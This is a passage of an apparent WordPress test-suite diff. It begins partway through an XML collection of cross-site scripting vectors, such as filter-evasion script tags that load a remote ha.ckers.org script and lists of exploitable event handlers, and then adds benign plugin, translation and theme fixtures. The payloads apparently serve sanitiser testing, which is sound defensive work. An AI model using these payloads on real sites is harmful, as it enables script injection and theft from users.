+		<name>Non-Alpha/Non-Digit</name> 
+		<code>&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Non-alpha-non-digit XSS.  While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag.  The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.  For example &quot;&lt;SCRIPT\s&quot; != &quot;&lt;SCRIPT/XSS\s&quot;</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Non-Alpha/Non-Digit Part 2</name> 
+		<code>&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;</code> 
+		<desc>Non-alpha-non-digit XSS part 2.  yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>No Closing Script Tag</name> 
+		<code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js</code> 
+		<desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don&apos;t actually need the &quot;&gt;&lt;/SCRIPT&gt;&quot; portion of this Cross Site Scripting vector. Firefox assumes it&apos;s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn&apos;t affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they&apos;re not needed generally.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Protocol resolution in script tags</name> 
+		<code>&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</code> 
+		<desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh&apos;s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &quot;.j&quot; is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Half-Open HTML/JavaScript</name> 
+		<code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;</code> 
+		<desc>Unlike Firefox, the IE rendering engine doesn&apos;t add extra data to your page, but it does allow the &quot;javascript:&quot; directive in images. This is useful as a vector because it doesn&apos;t require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &gt; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
+	/((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|>)/ 
+As a side note, this was also effective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Double open angle brackets</name> 
+		<code>&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;</code> 
+		<desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it&apos;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&apos;t</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Extraneous Open Brackets</name> 
+		<code>&lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;</code> 
+		<desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/).  This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course).  The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Malformed IMG Tags</name> 
+		<code>&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;</code> 
+		<desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes.  I assume this was originally meant to correct sloppy coding.  This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>No Quotes/Semicolons</name> 
+		<code>&lt;SCRIPT&gt;a=/XSS/
+alert(a.source)&lt;/SCRIPT&gt;</code> 
+		<desc>No single quotes or double quotes or semicolons.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 1</name> 
+		<code>See Below</code> 
+		<desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
+			
+-FSCommand() (execute from within an embedded Flash object)
+ 
+-onAbort() (when user aborts the loading of an image)
+ 
+-onActivate() (when object is set as the active element)
+ 
+-onAfterPrint() (activates after user prints or previews print job)
+ 
+-onAfterUpdate() (activates on data object after updating data in the source object)
+ 
+-onBeforeActivate() (fires before the object is set as the active element)
+ 
+-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand(&quot;Copy&quot;) function)
+ 
+-onBeforeCut() (attacker executes the attack string right before a selection is cut)
+ 
+-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
+ 
+-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
+ 
+-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&quot;Paste&quot;) function)
+ 
+-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&quot;Print&quot;) function)
+ 
+-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
+ 
+-onBegin() (fires immediately when the element&apos;s timeline begins)
+ 
+-onBlur() (in the case where another popup is loaded and window loses focus)
+ 
+-onBounce() (fires when the behavior property of the marquee object is set to &quot;alternate&quot; and the contents of the marquee reach one side of the window)
+ 
+-onCellChange() (fires when data changes in the data provider)
+ 
+-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)
+ 
+-onClick() (fires when someone clicks on a form)
+ 
+-onContextMenu() (user would need to right click on attack area)
+ 
+-onControlSelect() (fires when the user is about to make a control selection of the object)
+ 
+-onCopy() (user needs to copy something or it can be exploited using the execCommand(&quot;Copy&quot;) command)
+ 
+-onCut() (user needs to copy something or it can be exploited using the execCommand(&quot;Cut&quot;) command)
+ 
+-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
+ 
+-onDataSetChanged() (fires when the data set exposed by a data source object changes)
+ 
+-onDataSetComplete() (fires to indicate that all data is available from the data source object)
+ 
+-onDblClick() (fires when user double-clicks a form element or a link)
+ 
+-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
+ 
+-onDrag() (requires that the user drags an object)
+ 
+-onDragEnd() (requires that the user drags an object)
+ 
+-onDragLeave() (requires that the user drags an object off a valid location)
+ 
+-onDragEnter() (requires that the user drags an object into a valid location)
+ 
+-onDragOver() (requires that the user drags an object into a valid location)
+ 
+-onDragDrop() (user drops an object (e.g. file) onto the browser window)
+ 
+-onDrop() (fires when user drops an object (e.g. file) onto the browser window)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 2</name> 
+		<code>See Below</code> 
+		<desc>-onEnd() (fires when the timeline ends.  This can be exploited, like most of the HTML+TIME event handlers by doing something like &lt;P STYLE=&quot;behavior:url(&apos;#default#time2&apos;)&quot; onEnd=&quot;alert(&apos;XSS&apos;)&quot;&gt;)
+			
+-onError() (loading of a document or image causes an error)
+ 
+-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
+ 
+-onFilterChange() (fires when a visual filter completes state change)
+ 
+-onFinish() (attacker could create the exploit when marquee is finished looping)
+ 
+-onFocus() (attacker executes the attack string when the window gets focus)
+ 
+-onFocusIn() (attacker executes the attack string when window gets focus)
+ 
+-onFocusOut() (attacker executes the attack string when window loses focus)
+ 
+-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
+ 
+-onKeyDown() (fires when user depresses a key)
+ 
+-onKeyPress() (fires when user presses or holds down a key)
+ 
+-onKeyUp() (fires when user releases a key)
+ 
+-onLayoutComplete() (user would have to print or print preview)
+ 
+-onLoad() (attacker executes the attack string after the window loads)
+ 
+-onLoseCapture() (can be exploited by the releaseCapture() method)
+ 
+-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)
+ 
+-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
+ 
+-onMouseDown() (the attacker would need to get the user to click on an image)
+ 
+-onMouseEnter() (fires when cursor moves over an object or area)
+ 
+-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
+ 
+-onMouseMove() (the attacker would need to get the user to mouse over an image or table)
+ 
+-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
+ 
+-onMouseOver() (fires when cursor moves over an object or area)
+ 
+-onMouseUp() (the attacker would need to get the user to click on an image)
+ 
+-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
+ 
+-onMove() (user or attacker would move the page)
+ 
+-onMoveEnd() (user or attacker would move the page)
+ 
+-onMoveStart() (user or attacker would move the page)
+ 
+-onOutOfSync() (interrupt the element&apos;s ability to play its media as defined by the timeline)
+ 
+-onPaste() (user would need to paste or attacker could use the execCommand(&quot;Paste&quot;) function)
+ 
+-onPause() (fires on every element that is active when the timeline pauses, including the body element)
+ 
+-onProgress() (attacker would use this as a flash movie was loading)
+ 
+-onPropertyChange() (user or attacker would need to change an element property)
+ 
+-onReadyStateChange() (user or attacker would need to change an element property)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 3</name> 
+		<code>See Below</code> 
+		<desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
+			
+-onReset() (fires when user or attacker resets a form)
+ 
+-onResize() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResizeStart() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)
+ 
+-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
+ 
+-onRowEnter() (user or attacker would need to change a row in a data source)
+ 
+-onRowExit() (user or attacker would need to change a row in a data source)
+ 
+-onRowsDelete() (user or attacker would need to delete a row in a data source)
+ 
+-onRowsInserted() (user or attacker would need to insert a row in a data source)
+ 
+-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
+ 
+-onSeek() (fires when the timeline is set to play in any direction other than forward)
+ 
+-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onStart() (fires at the beginning of each marquee loop)
+ 
+-onStop() (user would need to press the stop button or leave the webpage)
+ 
+-onSyncRestored() (user interrupts the element&apos;s ability to play its media as defined by the timeline to fire)
+ 
+-onSubmit() (requires attacker or user submits a form)
+ 
+-onTimeError() (fires when user or attacker sets a time property, such as &quot;dur&quot;, to an invalid value)
+ 
+-onTrackChange() (fires when user or attacker changes track in a playList)
+ 
+-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)
+ 
+-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
+ 
+-seekSegmentTime() (locates the specified point on the element&apos;s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 1</name> 
+		<code>&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of the following regex filter:
+	/&lt;script[^&gt;]+src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 2</name> 
+		<code>&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of a regex filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i
+	
+(this is an important one, because I&apos;ve seen this regex in the wild)</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 3</name> 
+		<code>&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Another XSS to evade this regex filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 4</name> 
+		<code>&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Yet another XSS to evade the same filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i 
+The only thing I&apos;ve seen work against this XSS attack if you still want to allow &lt;SCRIPT&gt; tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow &lt;SCRIPT&gt; tags)</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 5</name> 
+		<code>&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>And one last XSS attack (using grave accents) to evade this regex:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Filter Evasion 1</name> 
+		<code>&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Filter Evasion 2</name> 
+		<code>&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Here&apos;s an XSS example that bets on the fact that the regex won&apos;t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack>
+</xss>
Index: /tags/4.1.6/tests/phpunit/data/plugins/hello.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/plugins/hello.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/plugins/hello.php	(revision 33402)
@@ -0,0 +1,14 @@
+<?php
+/*
+Plugin Name: Hello Dolly
+Plugin URI: http://wordpress.org/#
+Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
+Author: Matt Mullenweg
+Version: 1.5.1
+Author URI: http://ma.tt/
+Text Domain: hello-dolly
+
+*/
+
+// Test for 
+?>
Index: /tags/4.1.6/tests/phpunit/data/pomo/bad_nplurals.po
===================================================================
--- /tags/4.1.6/tests/phpunit/data/pomo/bad_nplurals.po	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/pomo/bad_nplurals.po	(revision 33402)
@@ -0,0 +1,18 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: bbPress 1.0.4 alpha\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-12-26 17:07+0100\n"
+"Last-Translator: Fernando Tellado <fernando.tellado@gmail.com>\n"
+"Language-Team: ayudawordpress.com <admin@ayudawordpress.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: spanish\n"
+"X-Poedit-Country: spain\n"
+"Plural-Forms: nplurals=2; plural=n !=1;\\n\n"
+
+msgid "%d forum"
+msgid_plural "%d forums"
+msgstr[0] "%d foro"
+msgstr[1] "%d foros"
Index: /tags/4.1.6/tests/phpunit/data/pomo/mo.pot
===================================================================
--- /tags/4.1.6/tests/phpunit/data/pomo/mo.pot	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/pomo/mo.pot	(revision 33402)
@@ -0,0 +1,25 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR WordPress
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: wp-polyglots@lists.automattic.com\n"
+"POT-Creation-Date: 2009-06-28 11:07+0000\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: wp-admin/includes/continents-cities.php:7
+msgid "Africa"
+msgstr ""
+
+#: wp-admin/includes/continents-cities.php:8
+msgid "Abidjan"
+msgstr ""
Index: /tags/4.1.6/tests/phpunit/data/pomo/simple.po
===================================================================
--- /tags/4.1.6/tests/phpunit/data/pomo/simple.po	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/pomo/simple.po	(revision 33402)
@@ -0,0 +1,54 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WordPress 2.6-bleeding\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr ""
+
+msgctxt "brum"
+msgid "strut"
+msgid_plural "struts"
+msgstr[0] "ztrut0"
+msgstr[1] "ztrut1"
+msgstr[2] "ztrut2"
+
+msgid ""
+"The first thing you need to do is tell Blogger to let WordPress access your "
+"account. You will be sent back here after providing authorization."
+msgstr "baba\n"
+"dyado"
+"gugu"
+
+msgctxt ""
+"con"
+"text"
+msgid ""
+"sing"
+"ular"
+msgid_plural ""
+"plu"
+"ral"
+msgstr[0] ""
+"trans"
+"lation0"
+msgstr[1] ""
+"trans"
+"lation1"
+msgstr[2] ""
+"translation2"
+
+
+
+# baba
+#: wp-admin/x.php:111 baba:333
+#. translators: buuu
+#       brubru
+#, fuzzy
+#: baba
+msgid "a"
+msgstr ""
+
+msgid "a\""
+msgstr ""
+
Index: /tags/4.1.6/tests/phpunit/data/pomo/windows-line-endings.po
===================================================================
--- /tags/4.1.6/tests/phpunit/data/pomo/windows-line-endings.po	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/pomo/windows-line-endings.po	(revision 33402)
@@ -0,0 +1,7 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Windows 3.11\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr "yuhu"
Index: /tags/4.1.6/tests/phpunit/data/themedir1/default/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/default/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/default/functions.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/default/index.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/default/index.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/default/index.php	(revision 33402)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/4.1.6/tests/phpunit/data/themedir1/default/style.css
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/default/style.css	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/default/style.css	(revision 33402)
@@ -0,0 +1,17 @@
+/*  
+Theme Name: WordPress Default
+Theme URI: http://wordpress.org/
+Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
+Version: 1.6
+Author: Michael Heilemann
+Author URI: http://binarybonsai.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
Index: /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/index.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/index.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/themedir1/page-templates/index.php	(revision 33402)
@@ -0,0 +1,3 @@
+<?php
+// Intentionally left blank
+?>
